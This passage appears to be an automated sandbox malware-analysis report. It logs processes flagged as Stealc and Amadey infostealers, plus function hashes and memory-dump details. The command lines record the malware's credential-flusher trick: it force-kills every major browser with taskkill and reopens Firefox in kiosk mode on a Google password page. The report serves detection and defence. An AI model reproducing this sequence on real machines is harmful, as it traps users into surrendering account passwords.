Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000F.00000003.3103917580.000000000109F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	22:58:32
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	22:58:32
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	22:58:35
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	22:58:36
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	22:58:36
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	22:58:37
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2308 -parentBuildID 20230927232528 -prefsHandle 2232 -prefMapHandle 2224 -prefsLen 25250 -prefMapSize 238690 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {c73eb302-b62d-4664-8c1e-f311557443d0} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae78e6ef10 socket
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	22:58:38
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001105001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001105001\num.exe"
Imagebase:	0xfd0000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3125212572.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000000.3094487881.0000000000FD1000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.3117634363.0000000000D2E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001105001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	22:58:38
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001103001\994a9a760e.exe"
Imagebase:	0x830000
File size:	1'877'504 bytes
MD5 hash:	14A1F90B21FFB33B230A55A35C92F699
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000003.3125229044.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3227402692.0000000000831000.00000040.00000001.01000000.0000000D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000020.00000002.3226332079.00000000006C8000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	22:58:39
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DBQJ2COS8NEE0DVFAHC8.exe"
Imagebase:	0xa60000
File size:	1'931'264 bytes
MD5 hash:	04D82AD1CBB15929E9FF4B3B951227BE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000003.3136703502.0000000004CE0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000021.00000002.3190167953.0000000000A61000.00000040.00000001.01000000.00000019.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	22:58:44
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\4ZEE72SJX7XOQDCN6UZ4LV1NK2QYF.exe"
Imagebase:	0x5d0000
File size:	1'877'504 bytes
MD5 hash:	14A1F90B21FFB33B230A55A35C92F699
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3314353221.00000000005D1000.00000040.00000001.01000000.0000001A.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000003.3179696376.0000000004FA0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000022.00000002.3322729341.00000000013CE000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	22:58:45
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=912 -parentBuildID 20230927232528 -prefsHandle 2792 -prefMapHandle 3796 -prefsLen 26265 -prefMapSize 238690 -appDir "C:\Program Files\Mozilla Firefox\browser" - {900b7ccc-f93b-4c39-acf6-c4309c8be80c} 5232 "\\.\pipe\gecko-crash-server-pipe.5232" 2ae0b544510 rdd
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	22:58:47
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\70NN9S1HRAEX9LH3L5PDFQWX9ANZ6.exe"
Imagebase:	0xbb0000
File size:	2'742'272 bytes
MD5 hash:	4B01B088DC9716204A408AD75CCEF360
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	22:58:47
Start date:	23/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1001104001\fb9fc5d370.exe"
Imagebase:	0x3c0000
File size:	919'552 bytes
MD5 hash:	5ED9138AF4A937507DFDA5A5729F17BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 00000025.00000003.3268917085.00000000014BF000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	22:58:47
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	22:58:47
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	22:58:51
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	41
Start time:	22:58:51
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	22:58:51
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	22:58:51
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	22:58:51
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	22:58:51
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	22:58:52
Start date:	23/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xaa0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	22:58:52
Start date:	23/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff66e660000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	22:58:52
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	22:58:52
Start date:	23/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff728280000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

Function 016B75F8 Relevance: 5.3, Strings: 3, Instructions: 1505COMMON

Download Yara Rule

Strings

4, xrefs: 016B789A
o, xrefs: 016B75FF
vHBq, xrefs: 016B7732

Memory Dump Source

Source File: 00000000.00000003.2270566413.00000000016AC000.00000004.00000020.00020000.00000000.sdmp, Offset: 016A6000, based on PE: false

Associated: 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_16a6000_file.jbxd

Similarity

API ID:
String ID: o$vHBq$4
API String ID: 0-427861146
Opcode ID: 1c43f7e1944650661bde7a216637a88ad66fd355e14b269001d20861ad07b59f
Instruction ID: 79be97f1055d58ea499a0598b40107476b82ba5cfb0bdf94e485032f91395c3c
Opcode Fuzzy Hash: 1c43f7e1944650661bde7a216637a88ad66fd355e14b269001d20861ad07b59f
Instruction Fuzzy Hash: 8FB2B7B644E7C28FD3578B749DA54907FB4AE9321471A10DBC180CF4F3E2699A86CB62

Function 016AA301 Relevance: 3.1, Strings: 2, Instructions: 593COMMON

Download Yara Rule

Strings

?a8, xrefs: 016AA342
n, xrefs: 016AA54F

Memory Dump Source

Source File: 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmp, Offset: 016A6000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_16a6000_file.jbxd

Similarity

API ID:
String ID: ?a8$n
API String ID: 0-391336445
Opcode ID: 1e469883bd201a9d2901395f015aca952a22f9e3dec4586437351a893035af49
Instruction ID: a13f26a04b518dac70f560186118698868106675d47be7ca0c28029ecff822a2
Opcode Fuzzy Hash: 1e469883bd201a9d2901395f015aca952a22f9e3dec4586437351a893035af49
Instruction Fuzzy Hash: EA42D85244E7C14FD3238BB88C79A91BFB0AF13204B0E86DBC4C58F5A3E258595AC767

Function 016B0600 Relevance: .7, Instructions: 676COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2270566413.00000000016AC000.00000004.00000020.00020000.00000000.sdmp, Offset: 016A6000, based on PE: false

Associated: 00000000.00000003.2559188366.00000000016A4000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_16a6000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: efd2f146bdaeec776d4dd77213ebca88da7b940b0660bd108ba2210e2ec3e8fe
Instruction ID: 9dd2c82fc4f34dfc16f2de525500c6be4e5fa2bf0072467a7e427b1517d54877
Opcode Fuzzy Hash: efd2f146bdaeec776d4dd77213ebca88da7b940b0660bd108ba2210e2ec3e8fe
Instruction Fuzzy Hash: 3122025284E7C11FD71387704CAA692BFB06E13114B1ECACFD8CA8E4E3E35A9546C766

Function 05F6CF78 Relevance: .4, Instructions: 356COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.2559287780.0000000005F6A000.00000004.00000800.00020000.00000000.sdmp, Offset: 05F6A000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_5f6a000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2cb201cefde4590b95c5870a429f46d866e4616e7ad360d9dbcdb11b0d0f7cac
Instruction ID: 88c1ec4779e5961b644f0ee239378393422eb8764044dad8d0f23ace544eda5a
Opcode Fuzzy Hash: 2cb201cefde4590b95c5870a429f46d866e4616e7ad360d9dbcdb11b0d0f7cac
Instruction Fuzzy Hash: D9D1CC6640E7C54FD3538B349C6A7817FB0AF23224F1A82DBC4D5CB1E3D659484AC762

Analysis Process: QZRNZLINJW4FDHW89WOCWU0IJ.exePID: 2360, Parent PID: 1340COMMON

Executed Functions

Function 05240C4C Relevance: .1, Instructions: 142COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eccfdfd710debec703471b6e3de071db2b6ee682f29cc322a2be2b4bb39d228a
Instruction ID: 383f100edf1b87e7751e2d61e189b42ecfb54a8eb8dc07a5e6604e3c99f21feb
Opcode Fuzzy Hash: eccfdfd710debec703471b6e3de071db2b6ee682f29cc322a2be2b4bb39d228a
Instruction Fuzzy Hash: 9321F2EB17C211FD600AD4566B4C9FA2A6FEDD77303318016FA07CEA02E2D55ADD6871

Function 05240C8E Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 842211c6d6807b609eb2a66cda24f307c4a526bf9ec53afbe551d3b2df80023f
Instruction ID: 50002a4f8aa2dbd6feed288c46b17fd37b2c079049b5293751fe875200522b58
Opcode Fuzzy Hash: 842211c6d6807b609eb2a66cda24f307c4a526bf9ec53afbe551d3b2df80023f
Instruction Fuzzy Hash: A13133EB17C221FD550BD465AA48AF62B6FED832303308006F647CDA02D2D45ACD5975

Function 05240C5E Relevance: .1, Instructions: 128COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2004c290a741ed36a118209c467c10b63cba17df7c708db397261f586dac48d5
Instruction ID: afcb9b6d4911b444439707b479ac3dce29b74f8f7d4dee6b50d12d553f4dec68
Opcode Fuzzy Hash: 2004c290a741ed36a118209c467c10b63cba17df7c708db397261f586dac48d5
Instruction Fuzzy Hash: ED21E2EF17C211FD600AD4559B4CAF62A6FEDD2230331C516FA07CDA02A2D45ADD6872

Function 05240CED Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6665669cba0c6fbada3ed8926bb9480390a833b24e28b6f755d68b53bef85935
Instruction ID: 30a1801ef0962ab04bb8d2621033e57da010a8155d462a54fd9229352337a4b2
Opcode Fuzzy Hash: 6665669cba0c6fbada3ed8926bb9480390a833b24e28b6f755d68b53bef85935
Instruction Fuzzy Hash: A0115CAF578211EE450FD864464C5FA7E2BEE573303308156F607CEA02D2D45ADD5961

Function 05240CC9 Relevance: .1, Instructions: 95COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e58baeef5a0b2a608b4d0c701635bd87cb2bb87d8e7a1b79cb4bf19f5bbcae92
Instruction ID: c26bd27fbaa13ee4f6df33bd3ceb0e00ecf7650357532a9faa8de966fdf48708
Opcode Fuzzy Hash: e58baeef5a0b2a608b4d0c701635bd87cb2bb87d8e7a1b79cb4bf19f5bbcae92
Instruction Fuzzy Hash: 2211CCAF13C211FE460FC860464C9F67E2BEE433303348126F607CE902D2D416DD9A61

Function 05240D08 Relevance: .1, Instructions: 78COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b644bfc4208334bb1d58918a05e26415eec5cadf67f15efa3e78184c1fd5084d
Instruction ID: 0d883a5257d84a6a0e6a6fd3c6e0036820276003fc7aecebe19dce9e020597f7
Opcode Fuzzy Hash: b644bfc4208334bb1d58918a05e26415eec5cadf67f15efa3e78184c1fd5084d
Instruction Fuzzy Hash: 76016BAF578211FD050FD894528DAF63E1BEE573303308156F6478EA0292E42ADC6921

Function 05240D6E Relevance: .1, Instructions: 74COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b0bcf34a31f0f5f843fffe9409e4493549a31b9433e7f8590e3437d417da1c7c
Instruction ID: 9779be162b62f2fc9cff8f237c259047a9997894e34764a3c868fb7189bb8942
Opcode Fuzzy Hash: b0bcf34a31f0f5f843fffe9409e4493549a31b9433e7f8590e3437d417da1c7c
Instruction Fuzzy Hash: E0118CAF938211E9C61FD8A4418C6F57E1BEF57330734814AF2538EA02D2E416DD5911

Function 05240D17 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_5240000_QZRNZLINJW4FDHW89WOCWU0IJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca94baae774d0799925d132214ece4bda70bbf0182ac51550ba2410c2f66964
Instruction ID: 70ad057efd88f11a7ee492868723c2642e953c5efa88a2e512ca7c51434e7836
Opcode Fuzzy Hash: 3ca94baae774d0799925d132214ece4bda70bbf0182ac51550ba2410c2f66964
Instruction Fuzzy Hash: 2801BDAF578211F9050FD864428C9F57E1BFE57330335C146F2478EA0293E42AEC6921

Function 05240D4B Relevance: .1, Instructions: 53COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2609307466.0000000005240000.00000040.00001000.00020000.00000000.sdmp, Offset: 05240000, based on PE: false

Joe Sandbox IDA Plugin

